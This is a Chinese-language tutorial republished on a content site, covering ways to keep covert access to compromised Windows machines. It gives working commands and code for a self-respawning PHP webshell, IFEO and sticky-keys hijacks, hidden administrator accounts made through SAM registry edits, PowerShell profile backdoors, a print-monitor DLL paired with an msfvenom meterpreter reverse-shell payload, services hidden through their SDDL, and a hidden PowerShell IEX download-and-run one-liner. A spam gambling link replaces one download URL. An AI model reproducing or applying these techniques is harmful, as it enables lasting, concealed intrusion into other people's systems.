windwos权限维持

1.php 不死马权限维持

<?php
ignore_user_abort(); //关掉浏览器,PHP脚本也可以继续执行.
set_time_limit(0);//通过set_time_limit(0)可以让程序无限制的执行下去
$interval = 5; // 每隔*秒运行
do {
$filename = 'test.php';
if(file_exists($filename)) {
echo "xxx";
}
else {
$file = fopen("test.php", "w");
$txt = "<?php phpinfo();?>\n";
fwrite($file, $txt);
fclose($file);
}
sleep($interval);
} while (true)
?>

效果

2.映像劫持技术

进入注册表

注册表

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options

在下面添加一项,这里的命名与后续要触发的可执行文件程序文件名一致,这里我新建了一个moon.exe

然后在moon.exe的右侧新建一个Debugger,在输入值的栏目中填入你的后门绝对路径,我这里以cmd.exe为例。

在桌面 修改一个文件的文件名为moon.exe 双击 即可触发

如果想写入后门 把 路径换成你后门地址即可

3.策略组脚本维持

输入gpedit.msc 打开组策略,打开 windows设置 脚本 里面又关机和开机

C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup

新建1.bat

@echo off
systeminfo >1.txt

启动时 选择该脚本文件即可

重启后

4.shift后门

按着shift五下 会弹出

首先 更改sethc.exe拥有者 为administrator

move C:\windows\system32\sethc.exe C:\windows\system32\sethc.exe.bak
Copy C:\windows\system32\cmd.exe C:\windows\system32\sethc.exe

5.建立影子账号

通常在拿到服务器后会创建一个带$符号的账户,因为在常规cmd下是无法查看到的。

net user moonsec$ 123456 /add
net localgroup administrators moonsec$ /add
net user

通过管理用户可查到用户

通过创建影子账户则可以完全解决这种问题。

打开注册表 HEKY_LOCAL_MACHINE\SAM\SAM\Domains\Account\User

3e9是moonsec$用户 1F4是超级管理员的值

将1F4下F项的值复制到3e9下F项里面,替换原有数据。然后导出moonsec$以及3e9。

删除 ner user moonsec$ /del 删除这个用户 再导入注册表 可以看到 用户已经不现实在这个面板了

用moonsec$登录远程终端

6.powershell配置文件后门

Powershell配置文件其实就是一个powershell脚本,他可以在每次运行powershell的时候自动运行,所以可以通过向该文件写入自定义的语句用来长期维持权限。

依次输入以下命令,查看当前是否存在配置文件

echo $profile
Test-path $profile

如果返回false则需要创建一个

New-Item -Path $profile -Type File –Force

然后写入命令,这里我以创建一个用户为目标,也可以写成反弹shell的,因为之前测试过程中写入过数据,所以这里我是三条内容。

1.bat内容

net user moon 123456 /add & net localgroup administrators moon /add

这里的C:\1.bat是我的后门文件位置,实战情况下,各位需要按照实际文件路径来修改

$string = 'Start-Process "C:\1.bat"'
$string | Out-File -FilePath $profile -Append
more $profile

重新打开powershell就会自动执行

7.Monitor 权限维持

项目地址 GitHub - Al1ex/Monitor: A old way to Persistence

项目使用

Step1:下载该项目,之后使用VS编译Monitor.cpp,当然也可以使用编译好的,Monitor.cpp代码如下所示

#include "Windows.h"
int main() {
MONITOR_INFO_2 monitorInfo;
TCHAR env[12] = TEXT("Windows x64");
TCHAR name[12] = TEXT("Monitor");
TCHAR dll[12] = TEXT("test.dll");
monitorInfo.pName = name;
monitorInfo.pEnvironment = env;
monitorInfo.pDLLName = dll;
AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
return 0;
}
  • pName //监视器名称

  • pEnvironment //环境架构

  • pDLLName //监视器DLL文件的名称

Step 2:使用Msfvenom生成dll攻击载荷:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=4444 -f
dll > test.dll

Step 3:将shell.dll复制到目标主机的system32目录下,之后重命名为test.dll(也就是上面的PDLLName,你也可以自己修改为自己喜欢的,总之随意)

copy C:\Users\Administrator\Desktop\test.dll C:\Windows\System32\test.dll

Step 4:之后进入system32目录,并执行以下命(Monitors.exe为之前编译好的文件,也需要放置到system32目录下):

Step 5:之后成功接收到Meterpreter会话

持久化实现

为了实现持久性,我们需要在"Monitors"注册表位置下设置一个key:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors

之后在命令行下执行以下命令创建一个注册表项,该注册表项将包含值test.dll,从编辑器中查看注册表验证密钥是否已创建:

reg add "hklm\system\currentcontrolset\control\print\monitors\Pentestlab" /v "Driver" /d "test.dll" /t REG_SZ

下次重新启动时,spoolsv.exe进程将加载Monitors注册表项中存在并存储在Windows文件夹System32中的所有驱动程序DLL文件

下图演示了Meterpreter会话已建立与Print Spooler服务(SYSTEM)相同级别的特权,并且已从System32文件夹执行了

8.利用安全描述符隐藏服务后门进行权限维持

1 先cs上线

2 通过注册服务创建后门

将后门程序注册为自启动服务是我们常用的一种进行权限维持的方法,通常可以通过sc或者powershell

来进行创建。cmd创建自启动服务

sc create ".NET CLR Networking 3.5.0.0" binpath= "cmd.exe /k C:\Users\administrator\beacon.exe" depend= Tcpip obj= Localsystem start= auto

通过修改SDDL(安全描述符)隐藏服务

众所周知,windows访问控制模型分为两部分:

  • access token(访问令牌)

  • 安全描述符

安全描述符包含与安全对象关联的安全信息。安全描述符包含安全描述符结构及其关联的安全信息。安

  • 全描述符可以包含以下安全信息:

  • 对象的所有者和主要组的 Sid(安全标识符)

  • 用于指定允许或拒绝特定用户或组的访问权限的 DACL 。

  • 指定为对象生成审核记录的访问尝试类型的 SACL 。

  • 一组限制安全描述符或其各个成员的含义的控制位。

windows中的安全对象都使用SDDL字符串来表示访问对象对于安全对象的权限,服务自然也存在其SDDL,并且sc命令中可以设置SDDL。那么通过更改SDDL可以修改服务的各种权限来隐藏服务:

sc sdset ".NET CLR Networking 3.5.0.0" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

然后通过sc与get-server查找服务均无结果:

sc query |findstr ".NET CLR Networking 3.5.0.0"
get-service | findstr ".NET CLR Networking 3.5.0.0"

在知道服务名的前提下查询会显示拒绝访问:

sc query ".NET CLR Networking 3.5.0.0"

但这样做有一个问题:在注册表中很容易看到异常value。HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking 3.5.0.0

修改注册表ACL

我们可以通过修改注册表的DACL来拒绝对值的查询,达到隐藏异常值的效果。这里给出一个通过

powershell修改注册表项的访问权限的简单脚本:

在1.ps1脚本

function Server-Sddl-Change{
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$Name
)
$ROOT = "HKLM:\SYSTEM\CurrentControlSet\Services\"
$S = $ROOT+$NAME
$acl = Get-Acl $S
$acl.SetAccessRuleProtection($true, $false)
$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"QueryValues"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Deny"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
$person = [System.Security.Principal.NTAccount]"Everyone"
$access =
[System.Security.AccessControl.RegistryRights]"SetValue,CreateSubKey,EnumerateSu
bKeys,Notify,CreateLink,Delete,ReadPermissions,WriteKey,ExecuteKey,ReadKey,Chang
ePermissions,TakeOwnership"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
Set-Acl $S $acl
}

在kali上启动http服务

python -m http.server 81

远程加载powershell脚本:

powershell.exe -exec bypass -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://192.168.1.52:81/1.ps1'));Server-Sddl-Change - Name '.NET CLR Networking 3.5.0.0'"

.NET CLR Networking 3.5.0.0 改成你的服务名

从下图可见已将值从该服务项中隐藏:

我这里不知什么原因没有隐藏

重启计算机 获取后门

9.iis后门

web服务器上一般都 支持net 所以可以考虑利用net iis做一个后门

项目地址 GitHub - WBGlIl/IIS_backdoor: backdoor

1 新建web服务器

选择web服务器和应用程序服务器

点击下一步

点击下一步

勾选iis管理控制台

点击下一步

勾选web服务器(IIS)支持

选择安装

再次安装

剩下就是下一步以及安装,查看IP地址

有浏览器访问

在网站目录下新建一个bin文件夹 这个文件夹 存放dll集 把IIS_backdoor_dll.dll存放在这里面

新建 web.config 或者在原有的文件上添加 内容

打开 IIS_backdoor_shell 把网址填写进去即可

10.window 隐藏技术

使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。

这样就做到了真正的隐藏,不管你是否显示隐藏文件,此文件夹都看不见

Attrib +s +a +h +r 1.php

这样算是隐藏 其实还有查看方法

11.驱动级文件隐藏

Attrib +s +a +h +r 1.php驱动隐藏最典型的现象就是系统盘中存在以下文件:

c:\WINDOWS\xlkfs.dat
c:\WINDOWS\xlkfs.dll
c:\WINDOWS\xlkfs.ini
c:\WINDOWS\system32\drivers\xlkfs.sys

驱动隐藏我们可以用过一些软件来实现,软件名字叫:Easy File Locker 下载链接: GOPAY303 : SITUS GACOR TERBARU GAMPANG JAKCPOT DAFTAR PAKAI LINK GACOR GOPAY303

一般做黑链的小朋友都会这样设置:只勾选可读,其他的一律拒绝……那么,会有这样的效果,该文件不会显示,不能通过列目录列出来,也不能删除,除非你知道完整路径,你才可以读取文件内容。并且该软件还可以设置密码,启动、修改设置、卸载及重复安装的时候都需要密码,更蛋疼的是,主界面、卸载程序等都可以删除,只留下核心的驱动文件就行了。

如何清除?

1、查询服务状态: sc qc xlkfs

2、停止服务: net stop xlkfs 服务停止以后,经驱动级隐藏的文件即可显现

3、删除服务: sc delete xlkfs

4、删除系统目录下面的文件,重启系统,确认服务已经被清理了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/778663.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

深入探讨多线程编程:从0-1为您解释多线程(下)

文章目录 6. 死锁6.1 死锁原因 6.2 避免死锁的方法加锁顺序一致性。超时机制。死锁检测和解除机制。 6. 死锁 6.1 死锁 原因 系统资源的竞争&#xff1a;&#xff08;产生环路&#xff09;当系统中供多个进程共享的资源数量不足以满足进程的需要时&#xff0c;会引起进程对2…

今日早报 每日精选15条新闻简报 每天一分钟 知晓天下事 3月29日,星期五

每天一分钟&#xff0c;知晓天下事&#xff01; 2024年3月29日 星期五 农历二月二十 1、 网络表演&#xff08;直播与短视频&#xff09;运营团体标准发布&#xff1a;应建立举报处置机制。 2、 商务部&#xff1a;中国决定终止对澳大利亚进口葡萄酒征收反倾销税和反补贴税。…

编程语言|C语言——数组与指针

一、数组 同一类型的变量——元素&#xff08;element&#xff09;集中在一起&#xff0c;在内存上排列成一条直线&#xff0c;这就是数组&#xff08;array&#xff09;。 1.1 一维数组 一维数组的声明 int arr1[10]; int arr2[2 8];#define N 10 int arr3[N];int count 10;…

深度学习 - PyTorch基本流程 (代码)

直接上代码 import torch import matplotlib.pyplot as plt from torch import nn# 创建data print("**** Create Data ****") weight 0.3 bias 0.9 X torch.arange(0,1,0.01).unsqueeze(dim 1) y weight * X bias print(f"Number of X samples: {len(…

基于资源的约束委派(下)

webclient http self relay Web 分布式创作和版本控制 (WebDAV) 是超文本传输协议 (HTTP) 的扩展&#xff0c;它定义了如何使用 HTTP ( docs.microsoft.com )执行复 制、移动、删除和创建等基本文件功能 需要启用 WebClient 服务才能使基于 WebDAV 的程序和功能正常工作。事实…

全国中学基础信息 API 数据接口

全国中学基础信息 API 数据接口 基础数据&#xff0c;高校高考&#xff0c;提供全国初级高级中学基础数据&#xff0c;定时更新&#xff0c;多维度筛选。 1. 产品功能 2024 年数据已更新&#xff1b;提供最新全国中学学校基本信息&#xff1b;包含全国初级中学与高等中学&…

虚拟现实(VR)项目的开发工具

虚拟现实&#xff08;VR&#xff09;项目的开发涉及到多种工具&#xff0c;这些工具可以帮助开发者从建模、编程到最终内容的发布。以下是一些被广泛认可的VR开发工具&#xff0c;它们覆盖了从3D建模到交互设计等多个方面。北京木奇移动技术有限公司&#xff0c;专业的软件外包…

为什么我的微信小程序 窗口背景色backgroundColor设置参数 无效的问题处理记录!

当我们在微信小程序 json 中设置 backgroundColor 时&#xff0c;实际在电脑的模拟器中根本看不到效果。 这是因为 backgroundColor 指的窗体背景颜色&#xff0c;而不是页面的背景颜色&#xff0c;即窗体下拉刷新或上拉加载时露出的背景。在电脑的模拟器中是看不到这个动作的…

Acwing_795前缀和 【一维前缀和】+【模板】二维前缀和

Acwing_795前缀和 【一维前缀和】 题目&#xff1a; 代码&#xff1a; #include <bits/stdc.h> #define int long long #define INF 0X3f3f3f3f #define endl \n using namespace std; const int N 100010; int arr[N];int n,m; int l,r; signed main(){std::ios::s…

Gitlab 实现仓库完全迁移,包括所有提交记录、分支、标签

1 方案一&#xff1a;命令 cd <项目目录> git fetch --all git fetch --tags git remote rename origin old-origin #可以不保留 git remote add origin http://***(项目的新仓库地址) #git remote set-url origin <项目的新仓库地址> git push origin --all git…

项目管理:项目进度管理的五大关键步骤

作为项目经理&#xff0c;要想做好项目进度管理&#xff0c;可以遵循以下五个关键步骤&#xff1a; 一、确定范围和分解目标 1、明确项目目标&#xff1a;首先&#xff0c;要清晰地定义项目的总体目标和预期成果。 2、范围界定&#xff1a;详细列出项目所需完成的所有任务和…

LDL^H分解求逆矩阵与MATLAB仿真(Right-Looking)

通过分解将对称正定厄米特矩阵分解成下三角矩阵L和对角矩阵D来求其逆矩阵 目录 前言 一、LDL^H基本算法 二、LDL^H Right-Looking算法 三、D矩阵求逆 四、L矩阵求逆 五、A矩阵求逆 六、计算量分析 七、MATLAB仿真 八、参考资料 总结 前言 在线性代数中&#xff0c;LDL…

HarmonyOS入门--配置环境 + IDE汉化

文章目录 下载安装DevEco Studio配置环境先认识DevEco Studio界面工程目录工程级目录模块级目录 app.json5module.json5main_pages.json通知栏预览区 运行模拟器IED汉化 下载安装DevEco Studio 去官网下载DevEco Studio完了安装 配置环境 打开已安装的DevEco Studio快捷方式…

Java中有哪些容器(集合类)?

Java中的集合类主要由Collection和Map这两个接口派生而出&#xff0c;其中Collection接口又派生出三个子接 口&#xff0c;分别是Set、List、Queue。所有的Java集合类&#xff0c;都是Set、List、Queue、Map这四个接口的实现 类&#xff0c;这四个接口将集合分成了四大类&#…

蓝桥杯 - 小明的背包1(01背包)

解题思路&#xff1a; 本题属于01背包问题&#xff0c;使用动态规划 dp[ j ]表示容量为 j 的背包的最大价值 注意&#xff1a; 需要时刻提醒自己dp[ j ]代表的含义&#xff0c;不然容易晕头转向 注意越界问题&#xff0c;且 j 需要倒序遍历 如果正序遍历 dp[1] dp[1 - vo…

Android应用程序的概念性描述

1.概述 Android 应用程序包含了工程文件、代码和各种资源&#xff0c;主要由 Java 语言编写&#xff0c;每一个应用程序将被编译成Android 的一个 Java 应用程序包&#xff08;*.apk&#xff09;。 由于 Android 系统本身是基于 Linux 操作系统运行的&#xff0c;因此 …

SpringBoot Redis 之Lettuce 驱动

一、前言 一直以为SpringBoot中 spring-boot-starter-data-redis使用的是Jredis连接池&#xff0c;直到昨天在部署报价系统生产环境时&#xff0c;因为端口配置错误造成无法连接&#xff0c;发现报错信息如下&#xff1a; 一了解才知道在SpringBoot2.X以后默认是使用Lettuce作…

蓝桥杯 2022 省A 选数异或

一种比较无脑暴力点的方法&#xff0c;时间复杂度是(nm)。 (注意的优先级比^高&#xff0c;记得加括号(a[i]^a[j])x&#xff09; #include <iostream> #include <vector> #include <bits/stdc.h> // 包含一些 C 标准库中未包含的特定实现的函数的头文件 usi…

成都市酷客焕学新媒体科技有限公司:实现品牌的更大价值!

成都市酷客焕学新媒体科技有限公司专注于短视频营销&#xff0c;深知短视频在社交媒体中的巨大影响力。该公司巧妙地将品牌信息融入富有创意和趣味性的内容中&#xff0c;使观众在轻松愉悦的氛围中接受并传播这些信息。凭借独特的创意和精准的营销策略&#xff0c;成都市酷客焕…

第二证券|打新股有风险吗?

打新股有危险&#xff0c;其主要危险是破发&#xff0c;其间呈现以下状况&#xff0c;新股可能会破发&#xff1a; 1、估值过高 新股的估值过高&#xff0c;与其价值不相契合&#xff0c;其泡沫性较大&#xff0c;然后导致个股在上市之后&#xff0c;稳健投资者以及主力大量地…